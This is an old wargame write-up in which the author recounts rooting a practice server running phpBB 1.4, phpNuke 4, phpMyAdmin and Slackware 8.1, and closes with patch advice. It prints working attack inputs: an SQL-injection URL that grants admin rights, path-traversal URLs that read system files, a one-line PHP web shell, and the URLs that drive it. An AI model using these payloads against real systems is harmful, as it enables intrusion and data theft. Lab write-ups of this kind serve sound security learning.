Whitepaper.txt
Wargame server 3.0 - by Atluxity

-- - O - --

1.1 Foreword

Finally! The event I had been waiting for since I signed up on Asta, the wargame-server was put online and the game was on! As luck would have it, I didn't have alot to do at work and alot of work on the server could be done trough the restricted network at work. (I only got http and https, via proxy.) And yes, I know my english is bad.

1.2.1 Targets

There was 4 different targets, or objectives.

Target #1: Get MOD in the wargames-forum
Target #2: Become admin on the wargames-webportal
Target #3: Get the magic word!
Target #4: Do a defacement and add your name on this page!

1.2.2 Target #1

The first target was to get admin access on an old version of phpBB. It was version 1.4.0, alot of noice on that forum. This target was to give some fun to the beginners it seemed, and not every beginner knew how to behave. Posted new forums and edited posts. Some were even as lame as banning other users.

1.2.3 Target #2

This web-portal was of phpNuke. To see that it was version 4 you had to go to the "Stats" page. I heard that phpNuke was insecure, but it was more secure than I wanted it to.

1.2.4 Target #3

There was a "magic word" in the file /etc/magicword. It "might" be encrypted.

1.2.5 Target #4

The ultimate target, get root. Slackware 8.1, should be rootable.

-- - O - --

2.1 phpBB board

I thought, first thing first, Target #1. Become admin on a phpBB board. That scared me at first, I use phpBB on a site of mine. Then I saw the version number and figured out this one couldn't be hard. My next move was to search asta for any info on phpBB.

The simple search phrase "phpBB" yeal some nice results. I found some XSS exploits, but didn't find it intresting. Dont know much about XSS exploitation anyways.

"root_a_phpBB_2.0.0.pl" got my attention, it was also a result from the search. I though the exploit would work, but I didn't have an availible *nix machine that could handle the perl-script. So I looked around some more.

SecurityFocus got alot of nice stuff, I decided to try my luck there. "phpBB" yeal ALOT of result, so I desided to go for "phpBB 1.4" instead. I found the answers to my quest at the bugtraq archive.
http://www.securityfocus.com/archive/1/201715

First then I registered and executed the exploit url for phpBB:

http://212.254.194.174/phpBB/prefs.php?save=1&viewemail=1',user_level%3D'4'%20where%20username%3D'Atluxity'%23

Credits to kill-9 for this exploit, read more about it on securityfocus.

One down, three to go.

-- - o - --

2.2 The deadly combo

I had success with SecurityFocus on Target #1, and had the window open, så i searched for "phpNuke 4", 76 result, and the first 10 did not look good. I tried asta before I started digging in the search on SecurityFocus. Nuthing. Not a single hint or clue. Darn. This was a real hardass, I sat down and read, searched some more, read some more, and searched.

Finally! I found PHPNuke Remote File Copy Vulnerability
http://www.securityfocus.com/archive/1/216100

Now I had access to view the filestructure on the server, and upload files with nobody rights. (That is, only to the /tmp folders) It was a small step, and nothing that could do anything by itself. I started looking at det other services running. I knew phpMyAdmin was a risky service to run publicly on a server.

Long before the wargame-server version 3 began, I read the whitepapers from version 1. Auzy mentioned something about trying username and blank pass, so I gave it a shot. Woi! I got in with username "admin" and a blank pass. But that did not give me the access I needed, I needed a real phpMyAdmin user. I was off searching for an exploit.

After a short while I had a deadly combo. An exploit in phpMyAdmin that let me read files with nobody rights, and the exploit in phpNuke. Together they made out a great combo. The phpMyAdmin exploit I used was:

http://www.securityfocus.com/archive/1/352378

But first, I did what seemed easy and nice when I had read access, I read the magicword file with the url:

```
http://212.254.194.174/phpMyAdmin/export.php?what=../../../../../../etc/magicwor
d%00
```

And got the content of the file:
The magic-word is: c2VjdXJpdHlfaXNfZm9yX3doZWVuaWVz

and then to https://www.astalavista.net/member/onlinetools.php and figure out what encoding had been done. I figured it was base64 encoding, and decoded it back to "security_is_for_wheenies".

Target #3 done! 2 down, 2 to go!

-- - O - --

2.3 I hate mySQL

I was still focusing on target #2, I hate leaving things undone. OK, I could read files, phpNuke did have a config file.

```
/var/www/htdocs/phpNuke/html/config.php
```

```
http://212.254.194.174/phpMyAdmin/export.php?what=../../../../../../var/www/htdo
cs/phpNuke/html/config.php%00
```

No, that didnt realy work. apache still ran the file thru php, and that hided the username and passwords that phpNuke used for mySQL.

Spoofed Existence helped my out with writing a php file that would passthru the command given to it.

```
---- Start cmd.php -----
<? if(isset($_GET['lt'])){ passthru($_GET['lt']); } ?>
----  End of File  -----
```

I uploaded that to the /tmp directory with the phpNuke exploit.
Now I could execute commands with nobody permissions with the url

```
http://212.254.194.174/phpMyAdmin/export.php?what=../../../../../../tmp/cmd&lt=c
at /etc/passwd
```

"lt" stands for "lilletrille" that is my level 0 password. It is as much a password as temp123. This could be my big break, maybe I finaly could read the config.php file for phpNuke 4.

```
http://212.254.194.174/phpMyAdmin/export.php?what=../../../../../../tmp/cmd&lt=c
at /var/www/htdocs/phpNuke/html/config.php
```

Darn... Did'nt help me much, still ported it thru php. After a while I figured I got to get rid of the "?" signs in the config.php file. I know as much linux to know that "grep" is the command to use when extracting characters from files. I used the command

```
cat /var/www/htdocs/phpNuke/html/config.php | grep -v "?"
```

For those who dont know linux as good as they should, the -v option in grep will give all the lines NOT containing the string you supply. A reversed result of the ordinary grep. I got the whole config dumped in my browser. Even the two lines I was hunting for:

```
$dbuname        = "mysqluser";
$dbpass         = "user4mysql";
```

Now, accessing mysql. I had no expirience, what so ever, with mysql commandline. I did'nt realy belice it would work thru a php-file.

After 4-5 hours I was ready to give up the target. I was hearthbroken, it was'nt like me to give up like this. I did'nt want to. Out of desperation I started flicking in windows with the previous exploits I had used. By this time I had my girlfriend over, she started to get intrested in what I was doing and asked me "What does that window do?". That was the browser windows with the phpMyAdmin-exploit.

Thats when it hit that I did'nt have to go thru the console, and logged in on the user with phpMyAdmin. From there I browsed thru the database found where the admins was stored, and added myself. Then, while I was in database I added a link to sourceforge, without admin. Then all I had to do was to log in and add my story.

-- - O - --

2.4 Top of the hill

Now, it was only left to root it. I had litle idea about how I was going to do it. I had to get some help. One of my friends got hacked a couple of months ago, using a local exploit. He had an old kernel, this was Slackware 8.1. I talked to him about it, and he gave me links to two vurnerabilities:

http://www.securityfocus.com/bid/9686
http://www.securityfocus.com/bid/9138

Me and a friend made the exploit together, combining both of the vulnerabilities, and had it to spawn a shell with kernel permissions. Then I uploaded it to /tmp directory with the phpNuke exploit and executed it with the phpMyAdmin exploit. From there I added a username and added that username in the sudoers. Then I could log on and edit the index-file.

-- - O - --

3.1 Target #1

phpBB is an outaged piece of software, no wonder it is unsecure. No profesional admin would ever choose to run that version. The exploit I used are fixed by following the info on:

http://www.securityfocus.com/bid/3142/solution/

That fixes the exploit I used, but even so, I strongly recommend that everyone using that software updates to the newest version.

3.2 Target #2

phpNuke 4 is outaged software, the current version is 7.2. Again I would urge everyone using that software to upgrade to newest version. Anyways, link to fix:

http://www.securityfocus.com/bid/3361/solution/

3.3 Target #3

If the content of the file was to be a big secret, the following commands should be run:

```
chmod 700 /etc/magicword
chown root /etc/magicword
```

Or even better, encrypt it with your favorite encryption tool.

3.3 Target #4

Using slackware 8.1 default is not a good idea, install patches and use the latest
kernel. A great article about securing linux Slackware 8.1, and will teach you alot of thing in securing general:

http://www.giac.org/practical/GCUX/Timothy_Chartier_GCUX.pdf

-- - O - --

4 Conclusion

This has been a real blast, I have had soo much fun. I hope its not long time to the
next wargame-server is online. I want to thank everyone that have helped me, you know who you are. No, I wont mention nicks, I'm afraid to forget someone.

I love you all, it was a blast.

Atluxity - Released under the GNU CPL lisence.. :-D

.eof